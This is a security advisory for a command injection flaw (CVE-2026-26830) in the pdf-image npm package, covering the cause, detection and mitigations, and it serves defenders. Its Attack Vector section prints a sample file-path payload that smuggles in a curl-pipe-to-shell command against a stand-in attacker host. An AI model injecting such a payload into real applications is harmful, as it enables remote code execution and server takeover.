CVE-2026-26830: pdf-image npm Package RCE Vulnerability

CVE-2026-26830 Overview

CVE-2026-26830 is a critical OS command injection vulnerability affecting the pdf-image npm package through version 2.0.0. The vulnerability allows attackers to execute arbitrary operating system commands by manipulating the pdfFilePath parameter. The constructGetInfoCommand and constructConvertCommandForPage functions use util.format() to interpolate user-controlled file paths into shell command strings that are subsequently executed via child_process.exec().

Critical Impact

This vulnerability enables remote attackers to achieve full system compromise through arbitrary command execution. Since the pdf-image package is used in Node.js applications for PDF processing, successful exploitation could lead to complete server takeover, data exfiltration, or lateral movement within the network.

Affected Products

• pdf-image npm package versions up to and including 2.0.0
• Node.js applications utilizing the vulnerable pdf-image package
• Any web application or service that processes user-supplied PDF file paths using this package

Discovery Timeline

• 2026-03-25 - CVE-2026-26830 published to NVD
• 2026-03-25 - Last updated in NVD database

Technical Details for CVE-2026-26830

Vulnerability Analysis

This command injection vulnerability stems from unsafe handling of user-controlled input in the pdf-image package. When an application passes a file path to the pdf-image library, the path is directly interpolated into shell command strings without proper sanitization or escaping.

The vulnerable functions constructGetInfoCommand and constructConvertCommandForPage utilize Node.js's util.format() to build command strings. These constructed commands are then executed using child_process.exec(), which spawns a shell to run the command. This execution pattern is inherently dangerous when handling untrusted input because shell metacharacters in the file path can break out of the intended command context.

An attacker who can control the PDF file path parameter can inject shell metacharacters such as semicolons, backticks, or $() constructs to append or substitute malicious commands. Since the commands run with the privileges of the Node.js process, successful exploitation grants the attacker the same level of access as the application.

Root Cause

The root cause of this vulnerability is the use of child_process.exec() combined with string interpolation for command construction. The exec() function invokes the system shell, making it susceptible to shell injection when any part of the command string originates from user input. The proper approach would be to use child_process.execFile() or child_process.spawn() with argument arrays, which bypass the shell entirely and treat arguments as literal values rather than shell-interpreted strings.

Attack Vector

The attack vector is network-based, requiring no authentication or user interaction. An attacker can exploit this vulnerability by submitting a maliciously crafted PDF file path to any application endpoint that utilizes the vulnerable pdf-image package for processing.

For example, if a web application allows users to specify a PDF file path or filename that gets processed by pdf-image, an attacker could supply a path containing shell metacharacters. A payload such as test.pdf; curl attacker.com/shell.sh | sh; would first attempt to process a legitimate file, then execute the injected command to download and run a malicious script.

The vulnerability mechanism is detailed in the GitHub CVE-2026-26830 Exploit repository. The core issue involves unsafe string interpolation where user-controlled input flows directly into shell command execution without sanitization or escaping.

Detection Methods for CVE-2026-26830

Indicators of Compromise

• Unusual child processes spawned by Node.js applications, particularly unexpected shell invocations or network utilities like curl, wget, or nc
• Log entries showing malformed or suspicious PDF file paths containing shell metacharacters (;, |, `, $())
• Unexpected outbound network connections from application servers to unknown external hosts
• Evidence of reverse shells or unauthorized remote access originating from web application processes

Detection Strategies

• Implement application-level logging to capture all PDF file path parameters before processing, enabling retrospective analysis of potential exploitation attempts
• Deploy runtime application self-protection (RASP) solutions to detect and block command injection patterns at the application layer
• Configure intrusion detection systems (IDS) to alert on Node.js processes executing unusual system commands or making unexpected network connections
• Use static code analysis tools to identify usages of child_process.exec() with user-controlled input across your codebase

Monitoring Recommendations

• Monitor Node.js application logs for file paths containing suspicious characters such as ;, |, &, `, $(, and ${
• Set up alerts for process spawning anomalies where Node.js parent processes create unexpected child processes
• Track network activity from application servers, particularly connections initiated after PDF processing operations
• Implement file integrity monitoring on critical system directories to detect unauthorized modifications resulting from successful exploitation

How to Mitigate CVE-2026-26830

Immediate Actions Required

• Audit your codebase to identify any dependencies on the pdf-image npm package using npm ls pdf-image or npm audit
• If the vulnerable package is in use, implement strict input validation and sanitization on all file path inputs before they reach the pdf-image functions
• Consider replacing pdf-image with alternative PDF processing libraries that do not use shell execution for external commands
• Restrict the permissions of the Node.js process to minimize the impact of potential exploitation

Patch Information

As of the last NVD update on 2026-03-25, no official patch has been released for this vulnerability. The pdf-image npm package and GitHub repository should be monitored for security updates. Until a patch is available, organizations should implement the workarounds described below or consider alternative solutions.

Workarounds

• Implement a strict allowlist for permitted file path patterns, rejecting any input containing shell metacharacters before passing to pdf-image
• Wrap the pdf-image package with a sanitization layer that escapes or removes dangerous characters from file paths
• Use application-level sandboxing or containerization to isolate PDF processing operations and limit the blast radius of potential exploitation
• If feasible, replace the vulnerable package with an alternative library that uses child_process.execFile() or child_process.spawn() with argument arrays instead of shell execution

# Example: Check for vulnerable pdf-image package in your project
npm ls pdf-image

# Example: Input validation pattern (implement in your application code)
# Reject file paths containing shell metacharacters: ; | & ` $ ( ) { } < > \ " '